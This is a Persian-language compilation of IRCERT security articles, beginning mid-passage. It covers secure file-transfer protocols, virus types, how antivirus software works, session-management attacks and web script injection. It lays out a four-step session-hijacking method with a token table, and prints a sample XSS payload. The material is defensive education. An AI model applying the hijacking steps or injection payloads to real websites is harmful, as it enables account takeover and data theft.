*برای FT (انتقال فایل): ابزار FT اغلب از SSL‌ برای انتقال فایل در یکی از دو حالت استفاده می‌کنند. اولی، مد کلاینت‌به‌سرور است که کاربر را قادر می‌سازد، در حالیکه در حال استفاده از یک مرورگر وب استاندارد است مستندات را از یک سرور دریافت یا آنها را به سرور منتقل کند. که این قابلیت نیاز به نرم‌افزار مختص انتقال در کلاینت را برطرف می‌سازد و بسیار راحت است، اما اغلب فاقد بعضی ویژگیهای پیشرفته مانند نقاط آغاز مجدد و انتقالهای زمانبندی‌شده است که سازمانها نیاز دارند. SSL همچنین می‌تواند برای اتصالات سروربه‌سرور امن – برای مثال، در اتصال با FTP و سایر پروتکلها – مورد استفاده قرار گیرد.

TLS

TLS (Transport Layer Security)، جانشین SSL، برپایه SSL3.0 بنا شده است، اما به کاربران یک انتخاب کلید عمومی و الگوریتمهای Hashing می‌دهد. (الگوریتمهای Hashing فانکشن‌های یک‌طرفه‌ای برای حفظ جامعیت پیامها هستند و توسط بیشتر پروتکلها استفاده می‌شوند.) اگرچه TLS و SSL تعامل ندارند، اما چنانچه یکی از طرفین ارتباط TLS را پشتیبانی نکند، ارتباط با پروتکل SSL3.0 برقرار خواهد شد. بیشتر مزایا و معایب SSL به TLS هم منتقل می‌شود، و معمولا وجه تمایز خاصی وجود ندارد، و از همه نسخه‌ها به عنوان SSL یاد می‌شود.

S/MIME

S/MIME ( Secure Multipurpose Internet Mail Extention) که اختصاصاً برای پیام‌رسانی ذخیره-و-ارسال طراحی شده است، بعنوان استاندارد امنیت ایمیل برتر شناخته شده است. مانند بیشتر پروتکل‌های رمزنگاری (مثلا SSL ، TLS و IPSec)، S/MIME با رمزنگاری تنها سروکار ندارد. بهرحال، علاوه بر تصدیق هویت کاربران و ایمن‌سازی جامعیت پیامها (برای مثال مانند آنچه SSL انجام می‌دهد)، S/MIME توسط امضای دیجیتال، رکوردهای پایداری از صحت پیامها ایجاد می‌کند (ضمانت هویت فرستنده چنانچه به محتوای پیام مشخصی مرتبط شده). این عمل باعث می‌شود فرستنده پیام نتواند ارسال آن‌را انکار کند.

*برای FT :

سیستم‌های ایمیل رمزشده (با استفاده از S/MIME) می‌توانند برای ارسال فایل‌های کوچک استفاده شوند (محدودیت حجم فایل بخاطر داشتن محدودیت حجم فایل در بیشتر سرورهای ایمیل است)، ولی S/MIME کلاً می‌تواند برای انتقال فایل‌های بزرگتر توسط پروتکلهای انتقال فایل استفاده شود.

SSH

SSH (Secure Shell) هم یک برنامه و یک پروتکل شبکه بمنظور وارد شدن و اجرای فرمانهایی در یک کامپیوتر دیگر است. به این منظور ایجاد شد تا یک جایگزین رمز‌شده امن برای دسترسی‌های ناامن به کامپیوترهای دیگر مثلا rlogin یا telnet باشد. نسخه بعدی این پروتکل تحت نام SSH2 با قابلیتهایی برای انتقال فایل رمزشده از طریق لینک‌های SSH منتشر شد.

*برای FT :

SSH‌ می تواند برای پشتیبانی انتقال فایل رمزشده (به شکل SFTP) استفاده شود اما طبیعت خط فرمان بودن آن به این معنی است که بیشتر توسط مدیران سیستمها برای ارسال درون سازمان استفاده می‌شود تا برای انتقال فایل تجاری. بعلاوه استفاده از SSH نیاز به نرم‌افزار یا سیستم عاملهای سازگار با SSH در دو طرف اتصال دارد، که به این ترتیب SSH برای سرور‌به‌سرور انجام می‌گیرد.


﻿ IRCERT - ویروس و ضدویروس - مقالات

ویروس و ضدویروس

حجم عظیم ویروس ها، کرم ها، ایرادات نرم افزارها و تهدیدهای ناشی از آنها، نرم افزارهای ضدویروس را تبدیل به یکی از ابزارهای لازم برای همه کامپیوترها نموده است. در صورت آلوده شدن یک کامپیوتر به ویروس بسته به نوع آن ممکن است مصائب مختلفی برای سیستم کامپیوتری بوجود آید که در پاره ای موارد جبران آن ها هزینه های زیادی را تحمیل می کند. آسیب های بعضی از ویروس ها به گونه ای است که آثار سوء آن ها را به هیچ وجه نمی توان از بین برد. مستقل از نوع ویروسی که باید با آن مقابله شود نیاز به برنامه های ضد ویروس همواره وجود دارد و در شرایطی که محصولات ضد ویروس متنوعی تولید شده اند، انتخاب نرم افزار مناسب دغدغه کاربران می باشد.

این مقاله ضمن معرفی انواع ویروس ها، نحوه عمل کرد برنامه های ضدویروس و انواع ویروس هایی که ضدویروس ها شناسایی و پاکسازی می کنند را معرفی می کند. همچنین اطلاعاتی که برای انتخاب ابزار مناسب لازم است بیان شده و تعدادی از برنامه های ضد ویروس با هم مقایسه خواهند شد.

ویروس چیست؟

ویروس های کامپیوتری برنامه هایی هستند که مشابه ویروس های بیولوژیک گسترش یافته و پس از وارد شدن به کامپیوتر اقدامات غیرمنتظره ای را انجام می دهند. با وجودی که همه ویروس ها خطرناک نیستند، ولی بسیاری از آنها با هدف تخریب انواع مشخصی از فایل ها، برنامه های کاربردی و یا سیستم های عامل نوشته شده اند.

ویروس ها هم مشابه همه برنامه های دیگر از منابع سیستم مانند حافظه و فضای دیسک سخت، توان پردازنده مرکزی و سایر منابع بهره می گیرند و می توانند اعمال خطرناکی را انجام دهند به عنوان مثال فایل های روی دیسک را پاک کرده و یا کل دیسک سخت را فرمت کنند. همچنین یک ویروس می تواند مجوز دسترسی به دستگاه را از طریق شبکه و بدون احراز هویت فراهم آورد.

برای اولین بار در سال ۱۹۸۴ واژه «ویروس» در این معنا توسط فرد کوهن در متون آکادمیک مورد استفاده قرار گرفت. د‍ر این مقاله که «آزمایشاتی با ویروس های کامپیوتری» نام داشت نویسنده دسته ای خاص از برنامه ها را ویروس نامیده و این نام گذاری را به لئونارد آدلمن نسبت داده است. البته قبل از این زمان ویروس ها در متن داستان های عملی و تخیلی ظاهر شده بودند.

انواع ویروس

انواع ویروس های رایج را می توان به دسته های زیر تقسیم بندی نمود:

boot sector :

boot sector اولین Sector بر روی فلاپی و یا دیسک سخت کامپیوتر است. در این قطاع کدهای اجرایی ذخیره شده اند که فعالیت کامپیوتر با استفاده از آنها انجام می شود. با توجه به اینکه در هر بار بالا آمدن کامپیوتر Boot sector مورد ارجاع قرار می گیرد، و با هر بار تغییر پیکربندی کامپیوتر محتوای boot sector هم مجددا نوشته می شود، لذا این قطاع مکانی بسیار آسیب پذیر در برابر حملات ویروس ها می باشد.

این نوع ویروس ها از طریق فلاپی هایی که قطاع boot آلوده دارند انتشار می یابند. Boot sector دیسک سخت کامپیوتری که آلوده شود توسط ویروس آلوده شده و هر بار که کامپیوتر روشن می شود، ویروس خود را در حافظه بار کرده و منتظر فرصتی برای آلوده کردن فلاپی ها می ماند تا بتواند خود را منتشر کرده و دستگاه های دیگری را نیز آلوده نماید. این گونه ویروس ها می توانند به گونه ای عمل کنند که تا زمانی که دستگاه آلوده است امکان boot کردن کامپیوتر از روی دیسک سخت از بین برود.

این ویروس ها بعد از نوشتن بر روی متن اصلی boot سعی می کنند کد اصلی را به قطاعی دیگر بر روی دیسک منتقل کرده و آن قطاع را به عنوان یک قطاع خراب (Bad Sector) علامت گذاری می کند.

Macro viruses:

این نوع ویروس ها مستقیما برنامه ها را آلوده نمی کنند. هدف این دسته از ویروس ها فایل های تولید شده توسط برنامه هایی است که از زبان های برنامه نویسی ماکرویی مانند مستندات Exel یا Word استفاده می کنند. ویروس های ماکرو از طریق دیسک ها، شبکه و یا فایل های پیوست شده با نامه های الکترونیکی قابل گسترش می باشد.

ویروس تنها در هنگامی امکان فعال شدن را دارد که فایل آلوده باز شود، در این صورت ویروس شروع به گسترش خود در کامپیوتر نموده و سایر فایل های موجود را نیز آلوده می نماید. انتقال این فایل ها به کامپیوتر های دیگر و یا اشتراک فایل بین دستگاه های مختلف باعث گسترش آلودگی به این ویروس ها می شود.

File infecting viruses:

فایل های اجرایی (فایل های با پسوند .exe و .com) را آلوده نموده و همزمان با اجرای این برنامه ها خود را در حافظه دستگاه بار نموده و شروع به گسترش خود و آلوده کردن سایر فایل های اجرایی سیستم می نمایند. بعضی از نمونه های این ویروس ها متن مورد نظر خود را به جای متن فایل اجرایی قرار می دهند.

ویروس های چندریخت(Polymorphic):

این ویروس ها در هر فایل آلوده به شکلی ظاهر می شوند. با توجه به اینکه از الگوریتم های کدگذاری استفاده کرده و ردپای خود را پاک می کنند، آشکارسازی و تشخیص این گونه ویروس ها دشوار است.

ویروس های مخفی:

این ویروس ها سعی می کنند خود را از سیستم عامل و نرم افزارهای ضدویروس مخفی نگه دارند. برای این کار ویروس در حافظه مقیم شده و حائل دسترسی به سیستم عامل می شود. در این صورت ویروس کلیه درخواست هایی که نرم افزار ضدویروس به سیستم عامل می دهد را دریافت می کند. به این ترتیب نرم افزارهای ضدویروس هم فریب خورده و این تصور به وجود می آید که هیچ ویروسی در کامپیوتر وجود ندارد. این ویروس ها کاربر را هم فریب داده و استفاده از حافظه را به صورت مخفیانه انجام می دهند.

ویروس های چندبخشی

رایج ترین انواع این ویروس ها ترکیبی از ویروس های boot sector و file infecting می باشد. ترکیب انواع دیگر ویروس ها هم امکان پذیر است.

سایر برنامه های مختل کننده امنیت

برخی از محققین اسب های تروا(Trojan)، کرم ها و بمب های منطقی را در دسته ویروس ها قرار نمی دهند ولی واقعیت این است که این برنامه ها هم بسیار خطرناک بوده و می توانند خساراتی جدی به سیستم های کامپیوتری وارد نمایند.

اسب های تروا تظاهر می کنند که کاری خاص را انجام می دهند ولی در عمل برای هدف دیگری ساخته شده اند، به عنوان مثال برنامه ای که وانمود می کند که یک بازی است ولی در واقع اجازه دسترسی از راه دور یک کاربر به کامپیوتر را فراهم می آورد.

کرم ها برنامه هایی هستند که مشابه ویروس ها توان تکثیر کردن خود را دارند، ولی برعکس آنها برای گسترش خود نیاز به برنامه هایی دیگر ندارند تا آنها را آلوده کرده و تحت عنوان فایل های آلوده اقدام به انتقال و آلوده کردن دستگاه های دیگر نمایند. کرم ها معمولا از نقاط آسیب پذیر برنامه های e-mail برای توزیع سریع و وسیع خود استفاده می نمایند.

بمب های منطقی برنامه هایی هستند که در زمان هایی از قبل تعیین شده؛ مثلا یک روز خاص؛ اعمالی غیر منتظره انجام می دهند. این برنامه ها فایل های دیگر را آلوده نکرده و خود را گسترش نمی دهند.

علی رغم تنوع انواع برنامه های مخرب، برنامه های قوی ضد ویروس می توانند نسخه های مختلف آنها را شناسایی و از بین ببرند. در ادامه این متن برای سادگی به همه انواع این برنامه ها عنوان عمومی ویروس اطلاق می شود.

در بخش های بعدی نرم افزارهای ضدویروس مورد بررسی قرار خواهند گرفت.


﻿ IRCERT - طرز کار برنامه های ضد ویروس - مقالات

طرز کار برنامه های ضد ویروس

ضد ویروس اصطلاحی است که به برنامه یا مجموعه ای از برنامه ها اطلاق می شود که برای محافظت از کامپیوتر ها در برابر ویروس ها استفاده می شوند. مهم ترین قسمت هر برنامه ضد ویروس موتور اسکن
(Scanning engine) آن است. جزئیات عملکرد هر موتور متفاوت است ولی همه آنها وظیفه اصلی شناسایی فایل های آلوده به ویروس را با استفاده از فایل امضای ویروس ها بر عهده دارند. فایل امضای ویروس یک رشته بایت است که با استفاده از آن می توان ویروس را به صورت یکتا مورد شناسایی قرار داد و از این جهت مشابه اثر انگشت انسان ها می باشد. ضد ویروس متن فایل های موجود در کامپیوتر را با نشانه های ویروس های شناخته شده مقایسه می نماید. در بیشتر موارد در صورتی که فایل آلوده باشد برنامه ضدویروس قادر به پاکسازی آن و از بین بردن ویروس است. در مواردی که این عمل ممکن نیست مکانیزمی برای قرنطینه کردن فایل آلوده وجود دارد و حتی می توان تنظیمات ضدویروس ها را به گونه ای انجام داد که فایل آلوده حذف شود.

بعضی از برنامه های ضد ویروس برای شناسایی ویروس های جدیدی که هنوز فایل امضای آنها ارائه نشده از روش های جستجوی ابتکاری استفاده می کنند. به این ترتیب داده های مشکوک در فایل های موجود در سیستم و یا فعالیت های مشکوک مشابه رفتار ویروس ها (حتی در صورتی که تعریف ویروسی منطبق با آنچه که در فایل مشکوک یافت شده موجود نباشد) علامت گذاری می شوند. اگر ضد ویروس فعالیت مشکوکی را مشاهده نماید، برنامه ای که فعالیت مشکوک انجام داده را قرنطینه نموده و به کاربر در مورد آن اعلام خطر می کند (به عنوان مثال اعلام می شود که برنامه مشکوک مایل به تغییر Windows Registry می باشد). دقت این روش پایین است و در بسیاری از مواقع در شناخت فایل های مشکوک به ویروس اشتباهاتی رخ می دهد.

در چنین مواقعی فایل قرنطینه شده برای شرکت های سازنده ضد ویروس ها ارسال می شود که پس از تحقیق و آزمایش آن، در صورتی که واقعا فایل آلوده به ویروس باشد نام، امضاء و مشخصات آن مشخص شده و پادزهر آن ارائه می گردد. در این صورت کد مشکوک تبدیل به یک ویروس شناخته شده می شود.

قابلیت های نرم افزار های ضدویروس

سطح محافظت نرم افزار بسته به جدید و بروز بودن آن متغیر است. محصولات جدیدتر قابلیت های مانند بروز رسانی خودکار، اسکن های زمان بندی شده، محافظت از سیستم به صورت ماندگار در حافظه و همچنین امکان یکپارچه شدن با برنامه های کاربردی اینترنتی مانند برنامه های e-mail و مرورگرهای وب را دارند. نسخه های قدیمی تر نرم افزارهای ضدویروس تنها یک اسکنر بودند که باید به صورت دستی راه اندازی می شدند. همه نرم افزار های ضدویروس در صورتی که به صورت منظم به روز رسانی شده و عملیات اسکن بر روی دیسک های سخت، تجهیزات قابل انتقال (مانند فلاپی و Zip disk) انجام شود می توانند دستگاه کامپیوتر را در برابر ویروس ها مقاوم کنند. در واقع نقطه برتری محصولات جدید ضد ویروس در قابلیت های آنها برای محافظت از سیستم در مواقعی است که کاربر دانش و یا دقت لازم برای به کارگیری آن را ندارد.

حداقل توقعی که از یک برنامه ضد ویروس خوب می توان داشت این است که در برابر ویروس های boot-sector، ماکرو، اسب های تروا و فایل های اجرایی آلوده به ویروس و کرم اقدامات محافظتی لازم را به عمل آورد. از محصولات جدیدتر می توان انتظار محافظت در برابر صفحات وب، اسکریپت ها، کنترل های ActiveX و اپلت های جاوای خطرناک، همچنین کرم های e-mail را داشت.


﻿ IRCERT - قابلیت‌های نرم‌افزارهای ضدویروس - مقالات

قابلیت‌های نرم‌افزارهای ضدویروس

در قسمت‌های قبلی از این مجموعه مقالات ضمن معرفی انواع ویروس‌ها و سایر برنامه‌های مختل کننده امنیت، چگونگی کشف ویروس‌ها توسط برنامه‌های ضدویروس و تعدادی از قابلیت‌های برنامه‌های ضدویروس بیان شد. در این مقاله چند قابلیت‌ مهم نرم‌افزارهای ضدویروس مورد بررسی قرار می‌گیرد.

تفاوت بین نسخه‌های ضد ویروس

همه نرم‌افزارهای ضد ویروس عمل واحدی را انجام می‌دهند که همان اسکن فایل‌ها و پاک‌سازی موارد آلوده می‌باشد. بعضی از آنها حتی از موتورهای اسکن یکسانی برای شناسایی ویروس‌ها بهره می‌گیرند. تفاوت اصلی بین این محصولات در کیفیت واسط کاربر، سرعت و دقت محصول و قابلیت‌های خاص (مانند اسکنر‌های e-mail، بروز رسانی‌های خودکار زمان بندی شده، اسکن‌های ابتکاری و ...)‌ می‌باشد.

در حال حاضر با توجه به اتصال اکثر کامپیوترها به شبکه اینترنت و خطرات گسترده‌ای که از این طریق کاربران را تهدید می‌کند تامین امنیت در برابر ویروس‌هایی که از طریق اینترنت انتقال می‌یابند اهمیت زیادی دارد. از سوی دیگر اینترنت می‌تواند به عنوان ابزاری برای بروز نگه‌داری نرم‌افزارهای ضدویروس مورد استفاده قرار گیرد.

حافظت e-mail‌

افزایش تعداد کرم‌هایی که از طریق e-mail‌ توزیع می‌شوند نیاز همه افراد به محصولات ضد ویروسی که امنیت آنها را تامین کنند افزایش داده است. تعدادی از محصولات نرم‌افزاری نمی‌توانند امنیت مورد نیاز را برای همه کاربران تامین کنند. از سوی دیگر تمایل زیاد کاربران به یک‍پارچه سازی نرم ‌افزارهای
e-mail‌ با برنامه‌های اداری [1] باعث شده، شکاف‌های امنیتی موجود در نرم‌افزارهای اداری توسط کرم‌هایی مانند ILOVEYOU و W32.Klez به سادگی مورد استفاده قرار گیرد. در چنین مواردی اگر وصله‌های امنیتی سیستم قدیمی باشند(که این مساله بسیار رایج است)، تنها مشاهده یک نامه آلوده کافی است که کرم‌ به دستگاه نفوذ کند.

مشکل اصلی در رابطه با امنیت e-mail به نحوه کار برنامه‌ها برمی‌گردد. برنامه‌های e-mail پیام‌ها را دریافت کرده و آنها را در پایگاه‌داده‌های خاص خود ذخیره می‌نمایند. از سوی دیگر برنامه‌های ضد ویروس فقط فایل‌هایی را که در قالب فایل‌سیستم‌های شناخته شده مانند Fat16، Fat32، NTFS و ... هستند را اسکن می‌کنند، بنابراین لزوما نمی‌توانند ساختمان داده‌ای را که برنامه e-mail‌ برای ذخیره سازی اطلاعات استفاده می‌کند شناخته و پیام‌های ذخیره شده و فایل‌های ضمیمه آن را اسکن کند. این بدان معناست که هرگاه یک e-mail آلوده بر روی دستگاهی که وصله‌های جدید بر روی آن نصب نشده بار شود، نه تنها کامپیوتر آلوده می‌شود بلکه پاک کردن دستگاه به سادگی امکان پذیر نیست و حتی ممکن است همه e-mail‌ها از دست بروند. به عنوان مثال کرم W32.Klez که کامپیوترهای زیادی را آلوده نمود، در گام اول برنامه‌های ضد ویروس را مورد هجوم قرار می‌دهد و در نتیجه برنامه آلوده شده قادر به پاک کردن محتویات صندوق‌های پستی کاربران نیست.

دو راه‌ حل برای این مشکل وجود دارد، یا باید با دقت همه وصله ‌های جدید مرورگر وب و برنامه‌های
e-mail‌ را گرفته و بر روی دستگاه نصب نمود و یا از برنامه‌های ضدویروسی استفاده کرد که به مرورگر و برنامه mail‌ متصل شده و آنها را به روز نگه‌می‌دارند.

برای اینکه سیستم e-mail‌ کاملا حافظت شده باشد، باید عملیات اسکن قبل از اینکه e-mail در جایی از حافظه ذخیره شود صورت گیرد. به عبارت دیگر برنامه ‌e-mail داده را بعد از گرفتن از اینترنت به اسکنر ضدویروس ارسال می‌نماید تا عملیات لازم بر روی آن صورت گیرد.

همه نرم‌افزارهای e-mail قابلیت این نوع مجتمع‌ شدن را ندارند. اما اسکنر‌هایی وجود دارند که به خوبی با بعضی از نسخه‌های Microsoft Outlook Express، Microsoft Outlook، Netscape Messenger، Netscape، Eudora Pro و Becky Internet Mail مجتمع می‌شوند. بعضی از اسکنر‌ها ادعای مجتمع شدن با همه سرویس‌گیرنده‌های POP3‌ و MAPI را مطرح می‌کنند.

بروز رسانی نرم‌افزار‌های ضدویروس

نصب برنامه ضد ویروس و رها کردن آن برای داشتن دستگاهی بدون ویروس و مقاوم در برابر حملات ویروس‌ها کافی نیست. هر روزه ویروس‌های جدیدی عرضه می‌شود و در سال‌های جدید انتشار سریع کرم‌ها از طریق اینترنت نرخ ایجاد ویروس را افزایش داده است. این مساله در ترکیب با افزایش دانش عمومی در مورد مشکلات امنیتی نرم‌افزارها و سیستم‌های عامل سرعت ایجاد ویروس‌های جدید را افزایش داده است. امروزه برای ایجاد یک ویروس نیاز به مهارت و تخصص زیاد نیست. تولید کنندگان ویروس‌ها می توانند ویروس‌هایی با تفاوت‌های اندک نوشته و در دنیای مجازی انتشار دهند. بنابراین علاوه بر خرید و نصب نرم‌افزار ضدویروس دقت در بروز نگه‌داشتن آن هم از اهمیت خارق‌العاده‌ای برخوردار است.

شرکت‌های تولید کننده نرم‌افزار برای مقابله با این مشکل قابلیت بروز‌ رسانی خودکار را به محصولات جدید خود افزوده‌اند. بنابراین کاربران تنها با انتخاب گزینه مناسب از منوهای نرم‌افزار می‌توانند از بروز بودن نرم‌افزار خود مطمئن باشند.

[1] - Office applications


﻿ IRCERT - حمله به نشست - مقالات

حمله به برنامه های وبی (5):

حمله به نشست[1]

این گونه حملات برنامه هایی را هدف قرار می دهند که مدیریت ارتباطات کاربران به خوبی در آنها انجام نمی شود و نقاط ضعفی در این فرایند وجود دارد. پروتکل HTTP ذاتاً برای ارسال گسسته اطلاعات از سرور به سمت سرویس گیرنده طراحی شده است. در این شرایط هر برنامه ای که برای ارائه خدمات خود ناچار به نگه داری سابقه فعالیت هایی که کاربر بر روی سایت انجام داده باشد، باید بر این چالش غلبه کرده و پیام های گسسته را به یک نشست پیوسته تبدیل نماید. راه حل هایی که برای این مسئله ارائه می شوند همه در لایه کاربرد هستند و مستقل از وب سرور می باشند.

طبعا مشابه همه کد نویسی ها ممکن است مدیریت نشست با امنیت بالا پیاده سازی شود و یا ضعف هایی در پیاده سازی وجود داشته باشد، که این به معنای وجود نقاط آسیب پذیر در برنامه می باشد. خطراتی که در چنین شرایطی برنامه و سرمایه های سایت را تهدید می کند به دو دسته کلی زیر قابل تقسیم بندی هستند:

· افزایش افقی اختیارات

در این نوع حملات کاربر قادر است به گونه ای نشانه[2] نشست را مورد استفاده قرار دهد که اطلاعات و قابلیت های کاربر دیگری در دسترسش قرار گیرد. برای انجام این نوع حملات هکر باید در گروه کاربر قربانی عضو باشد. در صورت وقوع این نوع حملات اطلاعات افشا می شود، ولی ساختار دسترسی مبتنی بر نقش[3] در سیستم حفظ می شود.

· افزایش عمودی اختیارات

هکر با استفاده از نشانه نشست به اطلاعات و مجوزهای کاربری با حقوق بالاتر دسترسی می یابد. قربانی در این نوع حملات حقوقی بالاتر از فرد حمله کننده دارد و بنابراین علاوه بر امکان دسترسی هکر به اطلاعات کاربر امکان تغییر آن ها و انجام اعمالی که مجوز مدیریتی لازم دارند نیز فراهم می آید.

در نتیجه این نوع حمله اطلاعات شخصی کاربران فاش شده، امکان دزدی خدمات، اطلاعات کارت های اعتباری، ارسال هرزنامه و رد سرویس[4] بوجود می آید.

حمله به مدیریت نشست فرایندی ۴ مرحله ای است:

· یافتن حامل حالت[5]

در این مرحله باید محل ذخیره سازی نشانه ها شناسایی شود. برای این کار کوکی های Stateful، کوکی های نشست، پارامتر های URL و فیلد های مخفی بررسی شوند.

· رمزگشایی اطلاعات حالت

پس از یافتن حامل حالت (نشانه نشست) باید مشخصات آن استخراج شوند. با استفاده از روش های تحلیل نشانه باید مشخص شود که آیا بخش هایی از نشانه کد شده است یا خیر؟ وجود برچسب های زمانی و سایر الگوهایی که نمونه هایی از آنها در جدول زیر ارائه شده اند تشخیص داده شود. آیا مقادیر به صورت تصادفی تولید می شوند و یا قطعی هستند؟

· استفاده مجدد از اطلاعات حالت

بدون توجه به امکان رمزگشایی حامل حالت، باید اطلاعات حالت چند کاربر را گرفت. با جایگذاری نشانه های سایر کاربران می توان محدودیت هایی را که سیستم در برابر نشست های غیرمعتبر ایجاد می کند شناسایی نمود.

· تغییر اطلاعات حالت

در صورتی که امکان رمزگشایی حامل باشد می توان با تغییر آن نشست کاربر دیگر را ربوده و یا استراق سمع نمود. با تغییر اطلاعات حالت می توان حقوق بیشتری به دست آورد.

نشانه | شرح | حمله خاص
مقدار افزایشی | استفاده از شمارنده برای دنبال کردن نشست جاری، شماره درخواست، ارجاع به یک فایل موقت یا سایر متغیر های گذرا. این نوع نشانه ها عدد یا رشته می باشند. | متنوع
برچسب زمان یا تاریخ | این برچسب نوع خاصی از برچسب های با مقدار افزایشی است که بدون توجه به نوع کاربر و نشست همواره افزایشی است. در بیشتر موارد این برچسب شامل یک رشته طولانی عددی یا یک عدد ۱۰ رقمی است. | اعتباردهی مجدد به شناسه نشست و تغییر زمان انقضاء نشست.
مقدار ایستا | مقداری که بدون توجه به نشست، زمان و کاربر ثابت است. این نشانه می تواند شناسه یک زبان (به عنوان مثال ۱۲۵۶ برای عربی) و یا پرچمی خاص باشد که توسط برنامه استفاده شده است. | اعتبارسنجی ورودی
مقدار شبه تصادفی | در بیشتر موارد این مقدار نشانه نشست است. | ربودن نشست
اطلاعات profile | مقادیری که برنامه ها در رابطه با هویت کاربران خود درخواست می کنند، شامل نام، نام خانوادگی، آدرس e-mail، آدرس پستی، شماره تلفن، سن، تاریخ تولد و .... | جعل هویت. دسترسی به اطلاعات فردی دیگر (افزایش افقی اختیارات)
آدرس IP سرور | سرور آدرس IP خود را در کوکی قرار می دهد. | لو رفتن اطلاعات شبکه
آدرس IP سرویس گیرنده | سرویس گیرنده آدرس IP خود را در کوکی قرار می دهد. | ربودن نشست
اعداد دو بایتی | اعداد دو بایتی در کوکی ممکن است شماره یک پورت باشند. برای کشف این مسئله باید مقادیر را مورد ارزیابی قرار داد. | لو رفتن اطلاعات شبکه

[1] - Session

[2] - Token

[3] - Role-based

[4] - Denial of service

[5] - State


﻿ IRCERT - حمله به برنامه‌های وبی (۱) - مقالات

حمله به برنامه‌های وبی (۱)

اگر خود و دشمن را می‌شناسید، نیازی به نگرانی در مورد نتیجه هر نبردی ندارید.

اگر خود را می‌شناسید ولی شناخت مناسبی از دشمن ندارید، در پی هر پیروزی باید نگران شکست باشید.

اگر نه خود را می‌شناسید و نه دشمن، در همه نبردها مغلوب خواهید بود.

برگرفته از کتاب «هنر جنگ» نوشته سان تزو

از یک دید امنیت شبیه جنگی تمام عیار است که هر روز و در تمام ساعات و لحظات ادامه دارد. بسیاری از آسیب پذیری‌ها در سیستم‌های نرم‌افزاری توسط توسعه دهندگانی ایجاد می‌شود که دانش اندکی در رابطه با نکات یا تهدیدات امنیتی دارند و نمی‌دانند که کدهایی که تولید می‌کنند تا چه حد آسیب‌پذیر است.

میزان استفاده از برنامه‌های وبی برای مدیریت تجارت و جذب مشتری‌های جدید از طریق اینترنت در شرکت‌های مختلف در حال افزایش است،‌ و به این ترتیب بازار قابل توجهی برای متخصصین توسعه این گونه سیستم‌ها بوجود آمده است. مزیت اصلی در استفاده از تجارت مبتنی بر وب برای شرکت‌های مختلف در این است که می‌توانند با استفاده از حداقل امکانات پیام خود را به مشتریان بازار در سراسر دنیا برسانند. وب طیف مخاطبان وسیعی را پوشش می‌دهد، این نکته با وجودی که یک ایده‌آل تجاری است ولی می‌تواند اهداف شرکت را نیز به مخاطره بیندازد زیرا مشخص نیست که چه کسانی سایت شرکت را مشاهده می‌کنند. بینندگان سایت علاوه بر شرکای تجاری و مشتریان می‌توانند کاربران بدخواهی باشند که با اهداف خراب‌کارانه در پی نفوذ به سیستم می‌باشند.

در این مقاله نقاط آسیب پذیری رایج مورد بررسی قرار می‌گیرند و راه‌هایی که کاربران می‌توانند از طریق آن برنامه‌ها را تهدید کنند معرفی می‌شوند.

******

بسیاری از برنامه‌های وبی اطلاعاتی را از کاربر دریافت می‌کنند و پس از پردازش این اطلاعات بر مبنای الگوریتم‌های خود نتایجی را تولید می‌کنند. به عنوان مثال برنامه یک فرم جستجوی ساده را در اختیار کاربر قرار می‌دهد که عبارت جستجو در آن وارد شده و پس از جستجو در پایگاه داده نتایجی تولید و برای کاربر نمایش داده می‌شود. این فرایند یک نمونه عملکرد بسیار رایج است که در بسیاری از برنامه‌های وبی مشاهده می‌شود.

در صورتی که کاربری اهداف خراب‌کارانه داشته باشد ممکن است بتواند با وارد کردن یک عبارت جستجو ثبات و امنیت برنامه وبی را به خطر بیندازد. این خطر به میزانی جدی است که حتی اگر زیرساخت امنیتی بسیار مستحکمی (به عنوان مثال فایروالی مناسب که همه حملات را متوقف کند) مورد استفاده قرار گرفته باشد ولی ورودی‌های کاربران مورد ارزیابی قرار نگیرد، تمامی‌ تلاشی که برای ایجاد زیرساخت امنیتی به کار گرفته شده است به هدر می‌رود.

بنابراین طراحان سیستم باید این نکته مهم را در ذهن خود داشته باشند که همه ورودی‌های کاربران تا زمانی که از امن بودن آنها اطمینان حاصل نشده است، باید نامطمئن تلقی شوند. هکرها می‌دانند که برنامه‌ها چگونه ورودی‌ها را استفاده می‌کنند و چگونه می‌توان از آنها برای بهره‌گیری از نقاط آسیب پذیر سیستم بهره گرفت. بنابراین بهترین روش برای مقابله با این مشکل تایید اعتبار همه ورودی‌های کاربران است. هرچند که این فرایند باعث کاهش سرعت و کارآیی برنامه می‌شود ولی برای حفظ امنیت سیستم اجتناب ناپذیر می‌باشد.

داده‌های نامطمئن از طرق مختلفی می‌توانند وارد سیستم شوند، که می‌توان به موارد زیر اشاره نمود:

· رشته‌های پرس و جوی URL

· فرم‌های HTML

· Cookieها

· پرس‌ و جوهایی که بر روی یک پایگاه داده انجام می‌شوند.

رشته های پرس و جو، فیلدهای اطلاعاتی فرم ها و Cookie ها را می توان قبل از پردازش اعتبارستجی نمود.

حملاتی که در نتیجه استفاده از داده نامطمئن بر روی برنامه‌ و سایت وبی صورت می‌گیرند را می‌توان به شرح زیر خلاصه نمود:

تزریق اسکریپت1

این نوع حمله در صورتی اتفاق می‌افتد که با استفاده از یک باکس ورودی کاربر اقدام به ورود نشانه‌ها2و یا کد اسکریپت خرابکارانه نموده باشد. این ورودی در پایگاه داده و یا در Cookie‌ها ذخیره می‌شود. چنین کدی می‌تواند به گونه‌ای طراحی شود که اثرات مختلفی داشته باشد و ممکن است عملکرد یک برنامه یا سایت اینترنتی را برای همه کاربران تحت تاثیر قرار دهد.

وقتی یک مرورگر که اسکریپت‌های آن فعال است این کد را می‌خواند، کد ناخواسته اجرا می‌شود و اثرات خود را به جای می‌گذارد. نشانه‌هایی که در این روش قابل استفاده هستند
شامل <script>، <object>، <applet> و <embed> می‌باشند.

مثالی از این نوع حمله به صورت زیر است. فرض کنید در یک صفحه وبی که لیستی از نام مولفین ارائه می‌دهد، فیلدی وجود دارد که می‌توان در آن نام‌های جدید را وارد نمود. این مثال فقط برای روشن شدن مطلب ارائه می‌شود ولی نمونه‌های زیادی وجود دارند که کاربر می‌تواند داده‌ای را وارد نماید. رایج‌ترین نمونه این صفحات، آنهایی هستند که کاربر می‌تواند از طریق آنها عبارت جستجویی را وارد کند.

اگر کاربر عبارت زیر را به عنوان نام یک مولف وارد نماید اتفاق جالبی خواهد افتاد؛
<script> alert(‘Script Injection’); </script>

در یک برنامه ضعیف این ورودی اعتبار سنجی نشده و به عنوان نام یک مولف وارد پایگاه داده می‌شود، بنابراین هر بار که لیست مولفین نمایش داده می شود کد JavaScript فوق اجرا می شود.

